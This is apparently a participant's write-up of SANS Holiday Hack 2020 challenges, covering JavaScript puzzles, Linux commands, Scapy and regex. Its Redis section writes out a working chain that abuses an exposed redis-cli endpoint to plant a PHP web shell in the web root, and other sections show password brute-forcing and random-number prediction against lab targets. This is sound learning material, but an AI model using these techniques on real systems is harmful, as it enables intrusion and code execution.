xxkolllllllllodkO0KO;,,,;;lxO00KKXKKKKK0c;,,,,,,,,,, ,dxxxdoooollodxk0KOolc:::::cdO00KK00K000c;,,,,,,,,,; ..:xkOOkdoxxkOO0OxoooooolooodxOO00Ok0kk0oc:;;;;;;;;; ....:dkOddOO0OkdoolllllloooddxOOOOOkkkkOdllccccccccc You found her! Thank you!!!
Elf Code Challenge
The game that lead the elf to the goal by coding javascript.
Level 1
elf.moveLeft(6); elf.moveUp(10);
Level 2
elf.moveLeft(6); elf.pull_lever(elf.get_lever(0) + 2); elf.moveLeft(4); elf.moveUp(10);
Level 3
for (let i = 0; i < 3; i++) { elf.moveTo(lollipop[i]) } elf.moveUp(1);
Level 4
Command is less than 6, and lines are less than 7. It was the most difficult for me, because I couldn't understand the mean of Hint for a while. When there is a wall and if code says go ahead more, elf don't go forward more. And it's not fault.
So it doesn't matter if I write an extra command, I can loop through the same code.
for (let i = 0; i < 3; i++) { elf.moveLeft(3); elf.moveUp(11); elf.moveLeft(2); elf.moveDown(11); }
Level 5
elf.moveUp(8); elf.moveTo(munchkin[0]) var value = elf.ask_munch(0) var answer = value.filter(elem => typeof elem === 'number') elf.tell_munch(answer) elf.moveUp(2);
Level 6
I chose that pull the lever and fall the munchkin into the hole.
for (let i = 0; i < 4; i++) { elf.moveTo(lollipop[i]); } elf.moveTo(lever[0]); var value = elf.get_lever(0); value.unshift("munchkins rule"); elf.pull_lever(value); elf.moveDown(3); elf.moveLeft(6); elf.moveUp(2);
Level 7
function myfunc(arrys) { var mysum = 0; for (let i = 0; i < arrys.length; i++) { for (let j = 0; j < (arrys[j]).length; j++) { mysum += (typeof arrys[i][j] === 'number') ? arrys[i][j] : 0; } } return mysum; } for (let i = 0; i < 8; i++) { if (i % 4 == 0) { elf.moveDown(i + 1); } else if (i % 4 == 1) { elf.moveLeft(i + 1); } else if (i % 4 == 2) { elf.moveUp(i + 1); } else if (i % 4 == 3) { elf.moveRight(i + 1); } elf.pull_lever(i); } elf.moveUp(2); elf.moveLeft(4); elf.tell_munch(myfunc); elf.moveUp(1);
Level 8
function myfunc(json_data) { for (let i = 0; i < json_data.length; i++) { var keys = Object.keys(json_data[i]) for (let j = 0; j < keys.length; j++) { if (json_data[i][keys[j]] === 'lollipop') { return keys[j]; } } } } var total = 0; for (let i = 0; i < 6; i++) { if (i%2 == 0) { elf.moveRight(2*i+1); } else { elf.moveLeft(2*i+1); } total += elf.get_lever(i); elf.pull_lever(total); elf.moveUp(2); } elf.tell_munch(myfunc); elf.moveRight(11);
This coding game was fun! I'll recommend it others.
33.6kbps
Because I almost muted the sound during the HolidayHack, this challenge was the final one for me.
I heard the ogg file several time, which Fitzy gave me. I found that this sound is modem dialup sound, and he forgot the handshake
protocol.
There's a note with odd words. I didn't realize that by pushing the words, they sounds. When I realized this, it became clear what should I do. Dial to 756-8347 first, and start to imitate handshake noise with this odd word sound.
It's difficult to uncover corresponding words and sound of handshake by myself. So I did little bit cheat. I check the source code of dialup
dialup.kringlecastle.com/
> dialup.kringlecatsle.com
> ?challenge
with Chrome developer tool, and found dialup.js
stats the order and rough timing like below.
... btnrespCrEsCl.addEventListener('click', () => { if (phase === 3) { phase = 4; playPhase(); secret += '3j2jc' } else { phase = 0; playPhase(); } sfx.resp_cr_es_cl.play(); }); ack.addEventListener('click', () => { if (phase === 4) { phase = 5; playPhase(); secret += '329dz' } else { phase = 0; playPhase(); } sfx.ack.play(); }); ...
The table of word to variable such as aaah
to ack
is stated in the html source. So, I got the order and timing of which word to push. Then, I tried to Dial up to 756-8347, and push the word in order as below.
- baa DEE brrrr
- aaah
- WEWEWEwrwrrwrr
- beDURRdunditty
- *SCHHHRRHHRTHRTR*
It took several tries to push correct timing. So I think my cheat was necessary for me.
Redis Bug Hunt
I tried curl
command as the terminal says, and found that cmd=
query is needed. And, also found that cmd
query can execute redis command.
$ curl http://localhost/maintenance.php?cmd=help Running: redis-cli --raw -a '<password censored>' 'help' redis-cli 5.0.3 To get help about Redis commands type: "help @<group>" to get a list of commands in <group> "help <command>" for help on <command> "help <tab>" to get a list of possible help topics "quit" to exit To set redis-cli preferences: ":set hints" enable online hints ":set nohints" disable online hints Set your preferences in ~/.redisclirc $ curl http://localhost/maintenance.php?cmd=mget,example1 Running: redis-cli --raw -a '<password censored>' 'mget' 'example1' The site is in maintenance mode $ curl http://localhost/maintenance.php?cmd=mget,example2 Running: redis-cli --raw -a '<password censored>' 'mget' 'example2' We think there's a bug in index.php
The goal of this challenge is get index.php
. I checked the DB, and found there are only 2 keys.
$ curl http://localhost/maintenance.php?cmd=keys,* Running: redis-cli --raw -a '<password censored>' 'keys' '*' example1 example2
I read another hint, and understood I should do this Redis RCE.
First, I tried to curl
and get the index.php
.
$ curl http://localhost/index.php Something is wrong with this page! Please use http://localhost/maintenance.php to see if you can figure out what's going onplaye
Currently, I can't access the index.php
.
I guess the document root is /var/www/html
. Then,
- Set the directory to
/var/www/html
- Cerate the new file
redis.php
with php code that outputs theindex.php
source code toout.txt
file - Access to
redis.php
and execute the php command - Access to
out.txt
$ curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html/ $ curl http://localhost/maintenance.php?cmd=config,set,dbfilename,redis.php $ curl http://localhost/maintenance.php?cmd=set,test,"<?php+exec('cat+index.php+>+out.txt');+?>" $ curl http://localhost/maintenance.php?cmd=save $ curl http://localhost/redis.php $ curl http://localhost/out.txt --output output $ cat output <?php # We found the bug!! # # \ / # .\-/. # /\ () () # \/~---~\.-~^-. # .-~^-./ | \---. # { | } \ # .-~\ | /~-. # / \ A / \ # \/ \/ # echo "Something is wrong with this page! Please use http://localhost/maintenance.php to see if you can figure out what's going on" ?>
Linux Primer
It seems to practice Linux commands challenge.
Type "yes" to begin: yes
Perform a directory listing of your home directory to find a munchkin and retrieve a lollipop!
$ ls HELP munchkin_19315479765589239 workshop
Now find the munchkin inside the munchkin.
$ cat munchkin_19315479765589239 munchkin_24187022596776786
Great, now remove the munchkin in your home directory.
$ rm munchkin_19315479765589239
Print the present working directory using a command.
$ pwd /home/elf
Good job but it looks like another munchkin hid itself in you home directory. Find the hidden munchkin!
$ ls -a . .. .bash_history .bash_logout .bashrc .munchkin_5074624024543078 .profile HELP workshop
Excellent, now find the munchkin in your command history.
$ history 1 echo munchkin_9394554126440791 2 ls 3 cat munchkin_19315479765589239 4 rm munchkin_19315479765589239 5 pwd 6 ls -a 7 history
Find the munchkin in your environment variables.
$ export
Next, head into the workshop.
$ cd workshop/
A munchkin is hiding in one of the workshop toolboxes. Use "grep" while ignoring case to find which toolbox the munchkin is in.
$ grep -ri munchkin toolbox_191.txt:mUnChKin.4056180441832623
A munchkin is blocking the lollipop_engine from starting. Run the lollipop_engine binary to retrieve this munchkin.
I couldn't understand the mean of this question, so I got hint.
$ hintme
The target executable file is at /opt/lollipop_engine
, but I have no permission to change mode or execute on this directory. So I copied the file to my home directory, and changed mode.
$ cd /opt $ cp lollipop_engine ~ $ cd ~ $ chmod 755 lollipop_engine $ ./lollipop_engine munchkin.898906189498077
Munchkins have blown the fuses in /home/elf/workshop/electrical. cd into electrical and rename blown_fuse0 to fuse0.
$ cd /home/elf/workshop/electrical/ $ ls blown_fuse0 $ mv blown_fuse0 fuse0
Now, make a symbolic link (symlink) named fuse1 that points to fuse0
$ ln -s ./fuse0 ./fuse1
Make a copy of fuse1 named fuse2.
$ cp fuse1 fuse2
We need to make sure munchkins don't come back. Add the characters "MUNCHKIN_REPELLENT" into the file fuse2.
$ vi fuse2
And insert MUNCHKIN_REPELLENT
, press esc key, :wq
.
Find the munchkin somewhere in /opt/munchkin_den.
$ cd /opt/munchkin_den/ $ find munchkin .
Find the file somewhere in /opt/munchkin_den that is owned by the user munchkin.
$ find * -user munchkin
Find the file created by munchkins that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/munchkin_den.
$ find * -size -110k -size +108k plugins/portlet-mocks/src/test/java/org/apache/m_u_n_c_h_k_i_n_2579728047101724
List running processes to find another munchkin.
$ ps -aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND init 1 0.0 0.0 65320 21156 pts/0 Ss+ 00:47 0:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml elf 50037 0.3 0.0 84316 26236 pts/2 S+ 01:18 0:00 /usr/bin/python3 /14516_munchkin elf 51952 0.0 0.0 36180 3336 pts/3 R+ 01:19 0:00 ps -aux
The 14516_munchkin process is listening on a tcp port. Use a command to have the only listening port display to the screen.
$ netstat -antu Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:54321 0.0.0.0:* LISTEN
The service listening on port 54321 is an HTTP server. Interact with this server to retrieve the last munchkin.
$ curl http://0.0.0.0:54321 munchkin.73180338045875
Your final task is to stop the 14516_munchkin process to collect the remaining lollipops.
$ ps -aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND init 1 0.0 0.0 65320 21156 pts/0 Ss+ 00:47 0:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml elf 3485 0.0 0.0 36180 3360 pts/3 R+ 01:29 0:00 ps -aux elf 50037 0.0 0.0 160448 26892 pts/2 S+ 01:18 0:00 /usr/bin/python3 /14516_munchkin $ kill 50037
Clear!
Speaker UNPrep (door)
The mission is, find the password of door
. As the terminal says, it doesn't need low-level reverse engineering, so I try the easiest way to find something from binary.
$ strings door | grep password /home/elf/doorYou look at the screen. It wants a password. You roll your eyes - the password is probably stored right in the binary. There's gotta be a Be sure to finish the challenge in prod: And don't forget, the password is "Op3nTheD00r" Beep boop invalid password
I got it! Then, execute door
binary with password.
$ ./door You look at the screen. It wants a password. You roll your eyes - the password is probably stored right in the binary. There's gotta be a tool for this... What do you enter? > Op3nTheD00r Checking...... Door opened!
Speaker UNPrep (lights)
Next is turn on the lights. The related files are lights
and lights.conf
. lights
seems to read the config file, which stats password(hashed?) and name as below.
$ strings lights.conf password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124 name: elf-technician
I searched the hash arghorithm, but I couldn't found. Then, there is another directory lab
, and in this directory, we can edit the files. So I tried to edit the config file and execute the light
, and observed the changes in the output.
when I set the password of the config empty, the empty password is accepted. But this way can't be adopt to original directory. So I have to get the true password.
I stucked there, and re-read Bushy's talk.
What if we set the user name to an encrypted value?
That was a great hint for me. This suggests the possibility that the encrypted value not only password but also name is decrypted when the config file is read. So, I set the same value as password to the name.
$ cat lights.conf password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124 name: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124 $ ./lights The speaker unpreparedness room sure is dark, you're thinking (assuming you've opened the door; otherwise, you wonder how dark it actually is) You wonder how to turn the lights on? If only you had some kind of hin--- >>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lab/lights.conf ---t to help figure out the password... I guess you'll just have to make do! The terminal just blinks: Welcome back, Computer-TurnLightsOn
I got the password Computer-TurnLightsOn
! Then, the password is same as original directory, so I executed the original lights file with this password.
Speaker UNPrep (vending-machines)
Last is fix the venting-machine. The related files are vending_machines
and vending_machines.json
. The json file is
{ "name": "elf-maintenance", "password": "LVEdQPpBwr" }
Executing vending_machines
with this password didn't work. This password also encrypted, I guess. According to Bushy's advice, this can be some kind of substitution cipher.
Like previous lights challenge, I edited the /lab
directory's json file and check the outputs. If the password config is empty, the exec password is also empty. So I can try the password by one string by one.
And more, it's a hard work by manual, I created the script.
#!/usr/bin/env python2 import json import os from subprocess import Popen, PIPE rotated = 'LVEdQPpBwr' with open('vending-machines.json', 'r') as f: conf = json.load(f) password = '' for i in range(len(rotated)): conf['name'] = rotated[:i+1] conf['password'] = rotated[:i+1] with open('vending-machines.json', 'w') as f: json.dump(conf, f, indent=4) for i in range(0x30,0x7d): print password + chr(i) p = Popen("./vending-machines", stdin = PIPE, stdout = PIPE) p.stdin.write(password + chr(i) + "\n") ans = p.stdout.read() if 'That would have enabled the vending machines!' in ans: print chr(i) password += chr(i) break p.stdin.close() p.stdout.close()
Since the terminal's python version was 2, so I used 2. I set the script to /home/elf/lab/solve_vend.py
, and exec.
$ python test.py 0 ...(omitted)... CandyCand CandyCane e CandyCane0 CandyCane1 1
I got the password CandyCane1
, and exec original vending-machines
with this password.
$ ./vending-machines The elves are hungry! If the door's still closed or the lights are still off, you know because you can hear them complaining about the turned-off vending machines! You can probably make some friends if you can get them back on... Loading configuration from: /home/elf/vending-machines.json I wonder what would happen if it couldn't find its config file? Maybe that's something you could figure out in the lab... Welcome, elf-maintenance! It looks like you want to turn the vending machines back on? Please enter the vending-machine-back-on code > CandyCane1 Checking...... Vending machines enabled!!
I noticed that I could create the map of plane-cipher strings, later. It would be reduce the calculation time.
Snowball Fight
At first, I have no idea how to play this game. By reading the game-machin's message, I understood that attack to enemy's fort by snow ball, and enemy also attacks my fort. If I destroy every forts before the enemy does, I'll win.
In the easy mode, the enemy missed a lot, so I can usually win the game without any cheat. But in the impossible mode, enemy doesn't miss. Because I'm always attack first, I can win if I can attack without any miss. To win this game, I have to know the enemy's arrange of the forts.
Then, I played this game with several level, and several times. When Easy and Medium mode, I can set my name freely. And when the name is same, the arrange of the fort of both enemy and myself are same even if the challenge level is different.
So, I tried Hard mode with the method below. Because I can't specify but get the name of the player in Hard mode, I open the Hard mode window and get player name. Then, open the another stand alone site, and start Easy mode with same player name. When I won the game, I know the arrange of the enemy's forts. Then, back to the Hard mode game, I could win the game with no miss.
How about Impossible mode? I can't get the player name. Then, I checked the hint. It mentions about Mersenne Twister. I can predict the generated using random function by the prediction algorithm. It had been unnatural that the Player's name is always number, not alphabet in spite of the enemy's name is alphabet. So I guess that we can predict the player name with the Mersenne Twister predictor.
To predict the random number, we have to correct previous 624 number. Then, I re-read the statements of the game-machine.
What's more, on Impossible, we won't even SHOW you your name! In fact, just to make sure things are super random, we'll throw away hundreds of random names before starting!
Before starting game, did I receive the hundreds of names? I check the source code of the Impossible mode.
<!-- Seeds attempted: 1208863108 - Not random enough 3995481139 - Not random enough 1369451260 - Not random enough 4169693605 - Not random enough ...(omitted)... 4266748940 - Not random enough 2033286299 - Not random enough 3650400524 - Not random enough <Redacted!> - Perfect! -->
I had! The numbers are just 624. Then, last one must be the player name.
The things I have to do is, using the predictor which introduced by the hints, and predict the next generated number. I got the previous numbers and save them to predict.txt
.
The prediction code is, almost as the sample of this library's sample.
import random from mt19937predictor import MT19937Predictor predictor = MT19937Predictor() with open('predict.txt', 'r') as f: for i in range(624): x = int(f.readline()) predictor.setrandbits(x, 32) print(predictor.getrandbits(32))
result is:
$ python predict.py 21590909
So, I got the Impossible mode's player name. I play Easy mode with this player name on other stand alone site, and got the arrangement of enemy's forts. After that, I back to the Impossible mode and won the game!
SORT-O-MATIC
This challenge is about regular expressions.
- Matches at least one digit
\d
- Matches 3 alpha a-z characters ignoring case
[a-zA-Z]{3}
- Matches 2 chars of lowercase a-z or numbers
[0-9a-z]{2}
- Matches any 2 chars not uppercase A-L or 1-5
[^A-L1-5]{2}
- Matches three or more digits only
^\d{3,}$
- Matches multiple hour:minute:second time formats only
^([0-5]\d):([0-5]\d):([0-5]\d)$
- Matches MAC address format only while ignoring case
^([0-9a-fA-F]{2}[:]?){5}[0-9a-fA-F]{2}$
- Matches multiple day, month, and year date formats only
^(0[1-9]|[12][0-9]|3[01])[\/.-](0[1-9]|1[012])[\/.-](19|20)\d\d$
CAN-Bus Investigation
This challenge seems the preparation for the Objective-7.
We got logfile and executable file. The log file is,
$ cat candump.log (1608926660.800530) vcan0 244#0000000116 (1608926660.812774) vcan0 244#00000001D3 (1608926660.826327) vcan0 244#00000001A6 ...
like that. I googled vcan0
and found this is the robust vehicle bus standard, stands for Controller Area Network. Car hacking!? It's new to me!
I checked several document related to CAN, and understood that like 244
, 188
is the command number. I filtered the most appearing two commands, then there left only two commands.
$ cat candump.log | grep -v 244 | grep -v 188 (1608926664.626448) vcan0 19B#000000000000 (1608926671.122520) vcan0 19B#00000F000000 (1608926674.092148) vcan0 19B#000000000000
According to the terminal message, they are LOCK
, UNLOCK
, and LOCK
commands. So, the answer is, 122520
.
./runtoanswer There are two LOCK codes and one UNLOCK code in the log. What is the decimal portion of the UNLOCK timestamp? (e.g., if the timestamp of the UNLOCK were 1608926672.391456, you would enter 391456. > 122520 Your answer: 122520 Checking.... Your answer is correct!
Scapy Prepper
This challenge is preparation for the Objective 9. We can learn how to use the "scapy".
Start by running the task.submit() function passing in a string argument of 'start'.
Type task.help() for help on this question.
>>> task.submit('start')
Submit the class object of the scapy module that sends packets at layer 3 of the OSI model.
>>> task.help() For example, task.submit(sendp) would submit the sendp scapy class used to send packets at l ayer 2 of the OSI model. Scapy classes can be found at ( https://scapy.readthedocs.io/en/latest/api/scapy.sendrecv.html )
I got the hint and document link of the scapy I search sendp
in this page, and found the layer3 command.
>>> task.submit(send)
Submit the class object of the scapy module that sniffs network packets and returns those packets in a list.
>>> task.submit(sniff)
Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named "pkt":
- pkt = sr1(IP(dst="127.0.0.1")/TCP(dport=20))
- pkt = sniff(IP(dst="127.0.0.1")/TCP(dport=20))
- pkt = sendp(IP(dst="127.0.0.1")/TCP(dport=20))
>>> task.submit(1)
Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets.
>>> task.submit(rdpcap)
The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the cho ices below that correctly prints a summary of UDP_PACKETS:
- UDP_PACKETS.print()
- UDP_PACKETS.show()
- UDP_PACKETS.list()
>>> task.submit(2)
Submit only the first packet found in UDP_PACKETS.
I stacked this question, then got the hint.
>>> task.help() You can specify an item from a list using "list_var_name[num]" where "num" is the item number you want starting at 0.
Then, I constructed the answere.
>>> task.submit(UDP_PACKETS[0])
Submit only the entire TCP layer of the second packet in TCP_PACKETS.
I thought this is only minor change of previous question, but it was not...
>>> task.submit(TCP_PACKETS[1]) Incorrect! Submit only the entire TCP layer of the second packet in TCP_PACKETS. If you had a packet stored in a variable named pkt, you could access its IP layer using "pkt [IP]"
Through repeated trial and error, I got the answer.
>>> task.submit(TCP_PACKETS[1][TCP])
Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this modified packet
I googled and found that is dst=UDP_PACKETS[0][UDP].dst
, but I sent it halfway through, and it accepted.
>>> task.submit(IP(src="127.0.0.1",dst=UDP_PACKETS))
Submit the password "task.submit('elf_password')" of the user alabaster as found in the packet list TCP_PACKETS.
I had no idea, so I got the hint.
>>> task.help() You can access each packets Raw payload using TCP_PACKETS[0][Raw].load only incrementing 0 each packet. (if that particular packet has a payload)
The RAW message can be shown by TCP_PACKETS[0][Raw].load
, if there is exists. I found RAW message from TCP_PACKETS[3]
.
>>> TCP_PACKETS[3][Raw].load b'220 North Pole FTP Server\r\n' ここから配列をincrementした出力結果 b'USER alabaster\r' b'331 Password required for alabaster.\r' b'PASS echo\r\n' b'230 User alabaster logged in.\r'
I got these information. It seems like a command, but it should be the password.
>>> task.submit('PASS echo')
The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list.
>>> task.submit(ICMP_PACKETS[1][ICMP].chksum)
Submit the number of the choice below that would correctly create a ICMP echo request packet with a destination IP of 127.0.0.1 stored in the variable named "pkt"
- pkt = Ether(src='127.0.0.1')/ICMP(type="echo-request")
- pkt = IP(src='127.0.0.1')/ICMP(type="echo-reply")
- pkt = IP(dst='127.0.0.1')/ICMP(type="echo-request")
>>> task.submit(3)
Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all other packet attributes can be unspecified)
I googled, and found I can generate like IP(dst=xx,src=xx)/UPD(dport=xxx,sport=xxx)
.
>>> task.submit(IP(dst="127.127.127.127")/UDP(dport=5000))
Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a qname of "elveslove.santa". (all other packet attributes can be unspecified)
>>> task.submit(IP(dst="127.2.3.4")/UDP(dport=53)/DNS(qd=DNSQR(qname="elveslove.santa")))
The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection.
I checked the ARP_PACKETS
. (This is when I realized that I can exec scapy...)
>>> ARP_PACKETS[0] <Ether dst=ff:ff:ff:ff:ff:ff src=00:16:ce:6e:8b:24 type=ARP |<ARP hwtype=0x1 ptype=IPv4 hw len=6 plen=4 op=who-has hwsrc=00:16:ce:6e:8b:24 psrc=192.168.0.114 hwdst=00:00:00:00:00:00 p dst=192.168.0.1 |>> >>> ARP_PACKETS[1] <Ether dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP hwtype=0x1 ptype=IPv4 hw len=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc=192.168.0.1 hwdst=ff:ff:ff:ff:ff:ff pdst=1 92.168.0.114 |<Padding load='\xc0\xa8\x00r' |>>>
I have two records. And changed the second response as below.
>>> ARP_PACKETS[1].hwsrc="00:13:46:0b:22:ba" >>> ARP_PACKETS[1].hwdst="00:16:ce:6e:8b:24" >>> ARP_PACKETS[1].op="is-at" >>> task.submit(ARP_PACKETS) Great, you prepared all the present packets! Congratulations, all pretty present packets properly prepared for processing!
Acknowledgements
Since this is the first time to join this world, I wondered what should I do at first. But thanks to the plenty of kind guides and hints, I can complete my challenges by myself.
It gave me a lot of fun on holidays when we could't go back to our hometown, and also gave me a lot of learning experience. Even as I write this report, I am excited to remember what I experienced in the Challenge.
I give great thank to my kids, who didn't wake up during the night and helped me to try this challenge. I also thank my husband for understanding my participation in this challenge and for sharing the housework and childcare with me.